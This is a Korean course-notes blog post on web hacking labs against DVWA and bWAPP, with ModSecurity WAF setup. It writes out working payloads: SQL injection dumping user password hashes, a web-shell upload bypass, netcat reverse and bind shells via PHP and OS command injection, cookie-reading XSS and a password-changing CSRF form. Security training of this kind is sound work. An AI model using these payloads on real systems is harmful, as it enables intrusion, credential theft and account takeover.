복습
1. Blind SQL 인젝션
- DB에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB명, Table명, Column명 등을 알아내는 방법
- 에러가 힌트가 되어 오류를 일으키거나, 한글자씩 입력해 확인하는 방식
→ 사람이 일일이 입력하기 힘드므로 자동화된 도구 사용(SQLmap)
2. Command Execution
- 공격자는 검색창에 리눅스 명령어를 실행하려고 함
→ Beebox - php 코드 인젝션 실습 예정
1.1 DVWA 실습 - SQL Injection
- 목적 : 모든 사용자의 ID/PW를 알아내는 것
- 조건 : SQLmap 사용 금지
- SQL문 예상 : select firstname, surname from ?? where id ' ';
1단계) 컬럼 개수 알아내기
- 입력 : ' union select 1 # → 동작 x(컬럼개수가 맞지 않음)
- 입력 : ' union select 1,2 # → 동작 o
2단계) DB 이름 알아내기
- 입력 : ' union select database(), version() #
→ DB 이름 : dvwa
3단계) Table 이름 알아내기
- 입력 : ' union select table_name, null from information_schema.tables where table_schema='dvwa' #
→ Table 이름 : guestbook, users
4단계) users 테이블의 column 이름 알아내기
- 입력 : ' union select column_name, null from information_schema.columns where table_name='users' #
5단계) users 테이블에서 user, password 추출
- 입력 : ' union select user, password from dvwa.users #
해시값으로 추출된 결과는 hashes.com에서 복호화 가능
1.2 DVWA 실습 - file upload(medium)
- 목적 : b374k-2.8php 파일 업로드
- proxy 도구 활용 (server에서 검증하지 않고, client에서 검증하는 경우 proxy에서 조작 가능)
→ 실습 후 업로드된 웹쉘 모두 삭제
1.3 DVWA 실습 - file upload(high)
- strtolower : string을 모두 소문자로 변환하는 함수 → 대소문자 조작 불가
- 확장자 검증 : jpg, jpeg, png만 업로드 가능
- AND 조건으로 100kbytes 이하만 가능
1) b374k-2.8.php → b374k-2.8.png로 확장자 변경
- 업로드 안됨 → 확장자만 제한하고 있는 것이 아님(File Signature도 확인)
2) b374k-2.8.png 파일을 HxD로 열어서 파일 시그니처 png 파일로 변경 (맨 앞에 붙여넣기)
→ 업로드 성공 / 웹 쉘 실행은 안됨(확장자가 png이므로 apache2에서 실행 불가)
3) dvwa의 레벨을 low 변경 후 command injection에서 명령어 사용
- 리눅스 명령어 mv 이용
- ; mv ../../hackable/uploads//b274k-2.8.png ../../hackable/uploads//b274k-2.8.php
4) 웹쉘 실행
192.168.5.128/dvwa/hackable/uploads/b374k-2.8.php url 접속
→ 웹 쉘 정상실행됨
2.1 file signature
- 파일의 정체성을 나타내는 부분
- 파일의 맨 앞부분에 특정한 표시를 함 → 운영체제, Application에서 읽어들여서 파일이 어떤 파일인지 확인
- Magic Number라고도 함
2.2 HxD.exe (Hex editor : 헥스 편집기)
- PNG : 89 50 4E 47 (0D 0A : 줄바꿈)
- JPG : FF D8 FF E0 → jpg파일은 FF D8로 시작해서 FF D9로 끝남
- EXE : 4D 5A (MZ : Mark Zbicowski) → MZ가 없으면 윈도우에서 파일을 실행할 수 없음
- pptx, docx, xlsx, apk, zip : 50 4B 03 04
3. 웹 방화벽
1) 웹 방화벽으로 차단 가능한 공격(3계층, 4계층 공격)
- SQL Injection
- XSS
- Webshell Upload
- 디렉토리 리스팅
- 임의파일 다운로드 취약점
- 요청 및 응답 값 내 위/변조 취약점
2) 웹 방화벽으로 차단 불가한 공격
- 검색엔진 정보 노출
- 난독화된 웹쉘 등 스크립트 업로드
3.1 웹 방화벽 설치
1) Modsecurity 설치
$ sudo apt install libapache2-mod-security2
$ sudo a2enmod security2
$ sudo systemctl restart apache2
$ sudo apt install vim
$ sudo vi /etc/modsecurity/modsecurity.conf
- 변경 (:set nu 입력 → 줄 번호 표시)
7번 라인) SecRuleEngine DetectionOnly → SecRuleEngine On
187번 라인) SecAuditLogParts ABDEFHIJZ → SecAuditLogParts ABCEFHJKZ
:wq
sudo systemctl restart apache2
2) Modsecurity Rules 다운
$ cd ~
$ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz
$ sudo tar xvf v3.3.0.tar.gz
$ sudo mkdir /etc/apache2/modsecurity-crs/
$ sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/
$ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/
$ sudo mv crs-setup.conf.example crs-setup.conf
3) Modsecurity 설정
$ sudo vi /etc/apache2/mods-enabled/security2.conf
- 변경 (:set nu 입력 → 줄 번호 표시)
12번 라인) IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/crs-setup.conf
13번 라인) IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/rules/*.conf
$ sudo apache2ctl -t // -t : test
$ sudo systemctl restart apache2 // 아파치 재시작해야 변경 내용 반영됨
4) 확인
- dvwa 접속 - SQL Injection
- 인젝션 구문 삽입 → submit
→ 웹 방화벽이 공격시도를 차단
- SQL 인젝션, XSS, Upload 등 공격 차단됨 (모든 공격을 다 막을 수 있는것은 아님)
4.1 beebox 실습 - A1. PHP Code Injection
- message를 클릭하면 test 출력
- URL에서 test 대신 hello를 입력하면 hello 출력
1단계) 리눅스 명령어를 실행시키려면?
- 힌트 : php 명령을 실행하는 함수
- url에 입력
1) ?message = exec('pwd')
2) ?message = shell_exec('whoami')
3) ?message = system('pwd') → 두번 출력
4) ?message = passthru('ps -ef')
2단계) Kali를 켜고 netcat을 이용해 연결
- 윈도우가 Victim이면 -e cmd.exe
- 리눅스가 Victim이면 -e /bin/sh
attacker(kali) - server $ nc -l -p 8888
victim(윈도우) - Client ?message=exec('nc 192.168.5.129 8888 -e /bin/sh') // kali ip 이용
- kali에서 명령어 입력 → beebox 결과 출력
- kali에서 계정 생성시 beebox에서 로그인 가능
- 연결 끊을때는 kali에서 ctrl+C
* Reverse Connection
- 방화벽 특성상, 내부망에서 외부망으로 나가는 트래픽은 막지 않음
- 공격자는 악성코드를 보내고 포트를 열고 기다림
- 악성코드의 명령이 실행되면 Victim이 공격자에게 접속
4.2 beebox 실습 - OS Command Injection
- Victim(Server) - Beebox : Backdoor
- Attacker(Client) - Kali
- beebox에 ; nc -l -p 7777 -e /bin/sh
- kali) $ nc 192.168.5.130 7777
→ kali에서 ip addr 명령어로 beebox의 ip주소 확인 가능
→ 실습 종료 후에는 Ctrl+C로 연결 종료
4.3 beebox 실습 - A1. SQL Injection(GET/SELECT)
- ID/PW 알아내기
?movie=5 union select 1,login, password,4,5,6,7 from users → 컬럼 개수 7개를 맞춰줌
→ 하나씩 개수를 늘려가면서 컬럼 개수를 알아낼 수 있음
?movie=11 union select 1,login, password,4,5,6,7 from users → 1~10은 DB에 있으므로 없는 번호 사용
4.4 beebox 실습 - A3. XSS - Reflected(GET)
- 스크립트를 실행하는 것이 목적
1) Low
- 입력란에 스크립트 입력 → 실행됨
2) Medium
- beebox 가상머신 cmd
$ cd /var/www/bWAPP
$ sudo vi xss_get.php
- case '1' : Medium level을 의미 → xss_check_4 사용
- functions_external.php 파일에 보안 수준에 따른 설정이 되어 있음
$ sudo vi functions_external.php // :set nu 입력해 라인 번호 확인
- 129~138 라인 : xss_check_4는 addslashes()함수를 사용하고 있음
* addslashes() 함수
- ', ", \, Null 앞에 \를 붙여서 Escape 처리
- Escape 처리란, 특수문자가 기능을 하지 못하도록 하는것 - 특수문자 모양 그대로 출력만 됨)
→ 스크립트 코드안에 escape 문자가 포함되지 않으면 실행
- <script>alert(9999)</script>
- <script>alert(document.coolie)</script> // 쿠키값 출력
* 문자를 출력하려면? → String.fromCharCode() 함수 이용 : 10진수를 입력하면 ASCII로 변환해주는 함수
- <script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script>
- 구글에서 ascii to decimal로 검색하면 변환 가능
4.5 beebox 실습 - A8. Cross-Site Request Forgery (Change Password)
* CSRF : 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버에게 어떤 요청을 보내는 공격
ex) 자동 댓글달기 : 사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요가 눌러짐
ex) 패스워드 변경 : 사용자의 패스워드를 변경하는 시도 → 로그인이 안되는 문제
1) Low
- 소스보기(f12(개발자도구) - 디버거 또는 마우스 우클릭 - 소스보기)를 눌러서 57~67번 라인 복사 및 수정
<form action="http://192.168.5.130/bWAPP/csrf_1.php" method="GET">
<p><label for="password_new">BTS Fan page</label><br />
<input type="hidden" id="password_new" name="password_new" value="123456"></p>
<p><label for="password_conf">Click like it</label><br />
<input type="hidden" id="password_conf" name="password_conf" value="123456"></p>
<button type="submit" name="action" value="change">like it</button>
</form>
- beebox url 주소 복사, 소스코드 action에 붙여넣음(IP주소 삽입)
위 소스코드를 csrf.html 파일로 저장 후 파일 실행
→ like it 버튼을 클릭하면 계정의 비밀번호가 123456으로 변경됨
* input type을 text로 설정해서 직접 비밀번호 입력해 변경할 수도 있음
'SK 쉴더스 루키즈' 카테고리의 다른 글
[SK 쉴더스] 네트워크보안 2일차 -- 추가예정 (0) | 2022.09.26 |
---|---|
[SK 쉴더스] 네트워크보안 1일차 -- 추가예정 (1) | 2022.09.26 |
[SK 쉴더스] 애플리케이션 보안 6일차 - OWASP Top 10(3) (0) | 2022.09.26 |
[SK 쉴더스] 애플리케이션 보안 5일차 - OWASP Top 10(2) (0) | 2022.09.26 |
[SK 쉴더스] 애플리케이션 보안 4일차 - OWASP Top 10(1) (2) | 2022.09.24 |